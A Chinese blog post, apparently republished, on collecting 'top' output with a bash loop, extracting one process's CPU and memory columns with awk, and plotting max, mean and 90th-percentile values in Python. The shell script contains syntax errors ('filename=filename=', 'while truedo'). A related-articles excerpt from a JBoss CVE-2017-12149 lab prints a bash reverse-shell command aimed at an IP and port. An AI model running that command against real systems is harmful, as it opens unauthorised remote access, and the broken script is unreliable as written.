统计进程的CPU和内存占用(最大,均值,90分位)

news2024/11/15 10:24:12


 本文先通过top采集所有进程的CPU和内存情况并保存到文件,然后提取指定进程的数据,最后通过 python 对采集的数据进行可视化。

一、使用脚本采集top数据

1. 单次top输出如下

2. 编写脚本每隔1秒采集一次top数据保存到文件

#!/bin/bash

# 按照年月日十分秒格式命名文件,例如top_20240907190348
filename=filename="top_$(date "+%Y%m%d%H%M%S").txt"

# 每1秒采集一次top,并将top命令输出的内容保存到文件中
# 按 ctrl+c 退出
while truedo
    timestamp=$(date "+%Y%m%d%H%M%S")
    # 打印当前时间到终端
    echo "Current time: $timestamp"
    # 将当前时间记录到文件
    echo $timestamp >> "$filename"
    # 将当前的top信息记录到文件
    top -b -n 1 >> "$filename"
    # 睡眠1秒
    sleep 1
done

3. 脚本使用实例

脚本运行后,每采集一次会在终端打印时间信息,按ctrl+c可停止采集

bash get_top.sh

脚本运行输出如下

二、提取指定进程mainboa的CPU和内存数据

1. 提取进程数据

grep mainboa ~/top_bpu20240905180932

2. 提取第9列和第10列数据并保存到CSV文件

# 将第9列和第10列的CPU和内存两列数据提取出来保存到 mainboard.csv
grep mainboa ~/top_bpu20240905180932 | awk '{print $9 "," $10}' > mainborad.csv

三、使用python生成数据统计图

绘制折线图,并将最大值,平均值,90分位值并显示到图片中

1. python脚本

import pandas as pd
import matplotlib.pyplot as plt

# 读取CSV文件
df = pd.read_csv('mainborad.csv')

# 对于每一列数据,画一个折线图
for column in df.columns:
    plt.figure()  # 创建一个新的图形
    df[column].plot(kind='line')  # 画折线图
    # draw max value as a horizon line
    plt.axhline(y=df[column].max(), color='r', linestyle='--')  # 画一个水平线表示最大
    # draw a text label nemed max:value for max value besize the line
    plt.text(0, df[column].max(), 'max:%d' % df[column].max(), fontsize=12, color='r')  # 在最大值处标注最大值
    # draw mean value as a horizon line
    plt.axhline(y=df[column].mean(), color='g', linestyle='--')  # 画一个水平线表示平均
    # draw a text label nemed mean:value for mean value besize the line
    plt.text(0, df[column].mean(), 'mean:%d' % df[column].mean(), fontsize=12, color='g')  # 在平均值处标注平均值
    # draw p90 value as a horizon line
    plt.axhline(y=df[column].quantile(0.9), color='b', linestyle='--')  # 画一个水平线表示90分位
    # draw a text label nemed p90:value for p90 value besize the line
    plt.text(0, df[column].quantile(0.9), 'p90:%d' % df[column].quantile(0.9), fontsize=12, color='b')  # 在90分位处标注90分
    plt.title("data")  # 设置图形的标题为列名
    plt.show()  # 显示图形

2. 执行脚本生成图片

python draw_csv.py

脚本读取CSV文件,并先后显示每一列的数据统计图

首先是显示第一列CPU占用的数据,可拖拽或者放大查看细节

  • CPU数据统计视图

  • 内存数据统计视图

关闭CPU的统计图之后会显示第二列内存占用的数据,可拖拽或者放大查看细节


关注非科班CPP程序员,一起学习,一起进步

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115572.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

非线性建模问题的线性化思考

很长时间没有提笔写博,近两年来一直从事规划领域方面的研究,在熟悉业务的同时,对规划算法也有了新的看法。相比智能算法的概率性,规划算法对求解的精确性要求更高。 本篇博客将围绕非线性问题如何线性化典型问题,分类归…

协同过滤算法相关答辩问题、代码实现过程

我 | 在这里 ⭐ 全栈开发攻城狮、全网10W粉丝、2022博客之星后端领域Top1、专家博主。 🎓擅长 指导毕设 | 论文指导 | 系统开发 | 毕业答辩 | 系统讲解等。已指导60位同学顺利毕业 ✈️个人公众号:热爱技术的小郑。回复 Java全套视频教程 或 前端全套视频…

大学新生的学习秘诀:如何学习编程?(文末赠书)

1.为什么要学习编程 大学生学习编程不仅关乎个人技能的提升,还涉及到未来的职业发展、创新能力培养以及适应快速变化的社会需求。 (1)增强就业竞争力 当今数字化时代,编程技能已成为许多行业的必备技能。掌握编程能够让你在求职市场上脱颖而出&#x…

Vulhub Apache Airflow (CVE-2020-11978)

来到目录下初始化数据库 然后开启环境 查看端口访问 访问http://your-ip:8080进入airflow管理端,将example_trigger_target_dag前面的Off改为On: 再点击执行按钮,在Configuration JSON中输入:{"message":"\";…

SwiftUI 中如何花样玩转 SF Symbols 符号动画和过渡特效

概述 作为 Apple 开发中的全栈秃头老码农们,我们不但需要精通代码编写更需要有过硬的界面设计艺术功底。为了解决撸码与撸图严重脱节这一窘境,苹果从 iOS 13(macOS 11)开始引入了 SF Symbols 字符图形。 有了 SF Symbols&#xf…

【 html+css 绚丽Loading 】000043 太一玄元镜

前言:哈喽,大家好,今天给大家分享htmlcss 绚丽Loading!并提供具体代码帮助大家深入理解,彻底掌握!创作不易,如果能帮助到大家或者给大家一些灵感和启发,欢迎收藏关注哦 &#x1f495…

ANSA联合ABAQS基于梁单元的螺栓预紧力分析实例

1、在螺栓孔之间创建一个模拟螺栓 ABAQUS界面→AUXILIARIES→bolt→分鳖选择上下两圈节点,这样在螺栓孔中间就会生成一个梁单元。 中键确定,因为螺杆使用的是变形体,所以接下来需要为其创建一个属性: 单击ok,完成虚拟螺栓的创建,该螺栓两端是刚性MPC,中间是弹性的梁单元…

Jboss远程代码执行漏洞(CVE-2017-12149)

还是先开启环境 浏览器访问跟上一个一模一样页面 还是用ysoserial.jar工具 然后准备好反弹shell的命令,需要对其进行base64加密 //反弹shell命令,注意替换为自己的 bash -i >& /dev/tcp/192.168.75.162/6666 0>&1 //base64加密 YmFzaCAt…

git:分支管理

目录 一、分支概念 二、创建分支 三、切换分支 四、合并分支 五、删除分支 六、合并冲突 七、分支管理策略 八、分支策略 九、bug分支 十、强制删除分支 一、分支概念 在版本回退里,每次提交,git都把它们串成一条时间线,这条时间线可以…

基于51单片机的倒计时定时器proteus仿真

地址: https://pan.baidu.com/s/1_Ig_S0KKrba9VAjovDW71g 提取码:1234 仿真图: 芯片/模块的特点: AT89C52/AT89C51简介: AT89C52/AT89C51是一款经典的8位单片机,是意法半导体(STMicroelectr…

【Hot100】LeetCode—215. 数组中的第K个最大元素

目录 1- 思路快速选择 2- 实现⭐215. 数组中的第K个最大元素——题解思路 3- ACM实现 原题连接:215. 数组中的第K个最大元素 1- 思路 快速选择 第 k 大的元素的数组下标: int target nums.length - k 1- 根据 partition 分割的区间来判断当前处理方式…

Spring表达式语言(SPEL)(05)

表达式模板 表达式模板允许将文字文本与一个或多个评估块混合。每个评估块都由前缀和后缀字符分隔,默认是#{}。支持实现接口ParserContext自定义前后缀。调用parseExpression()时指定 ParserContext参数如:new TemplateParserContext(),#{}包…

还不会剪音乐?试试这四款在线音频剪辑

音频剪辑很多人都没有接触过。其实这并不是一个难事,我们甚至可以用一些简单的工具来给自己做个简单的BGM,最近我尝试了几款不同的音频剪辑工具。今天就来跟大家分享一下我的使用体验,看看哪款工具更适合你的需求。 一、福昕音频剪辑 网址&…

通信工程学习:什么是FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用

FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用 FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用是通信领域中常见的四种复用技术,它们各自具有不同的特点和应用场景。以下是对这四种复用技术的详细解释: 一、FDM频分复用(Frequ…

AIGC6: 走进腾讯数字盛会

图中是一个程序员,去参加一个技术盛会。AI大潮下,五颜六色,各种不确定。 背景 AI对各行各业的冲击越来越大,身处职场的我也能清晰的感受到。 我所在的行业为全球客服外包行业。 业务模式为: 为国际跨境公司提供不同…

强推!创新直发核心!时序分解+优化组合+模型对比!VMD-SSA-Transformer-BiLSTM多变量时间序列预测

强推!创新直发核心!时序分解优化组合模型对比!VMD-SSA-Transformer-BiLSTM多变量时间序列预测 目录 强推!创新直发核心!时序分解优化组合模型对比!VMD-SSA-Transformer-BiLSTM多变量时间序列预测效果一览基…

kubernetes集群部署Zabbix监控平台

一、zabbix介绍 1.zabbix简介 Zabbix是一个基于Web界面的分布式系统监控的企业级开源软件。可以监视各种系统与设备的参数,保障服务器及设备的安全运营。 2.zabbix特点 (1)安装与配置简单。 (2)可视化web管理界面。 &a…

【超简单】1分钟解决ppt全文字体一键设置

省流 ppt的全部字体需要在“幻灯片母版”里面,“自定义字体”去设置好标题与正文的字体之后才算全部设置完毕 “视图”---“幻灯片母版” 找到“字体”---“自定义字体” 设置好中文和西文的字体,都可以按照自己的选择来,保存即可 吐槽 之…

【路径规划】一种用于控制约束高维非线性系统的神经路径规划算法

摘要 本研究提出了一种神经路径规划算法,用于解决高维非线性系统在约束条件下的控制问题。该方法结合了人工神经网络(ANN)和快速随机树(RRT)算法,通过神经网络对复杂系统的动态进行建模,并使用…

万物皆可“浮动”(补充)——WEB开发系列33

​​float​​ 属性最初的设计目的是在文本块内使图像浮动,从而让文字环绕在图像的左右两侧,这种效果在报纸版面中很常见。随着时间的推移,这一属性已成为网页设计中实现多列布局的常用工具。最开始,​​float​​ 主要用于在文本…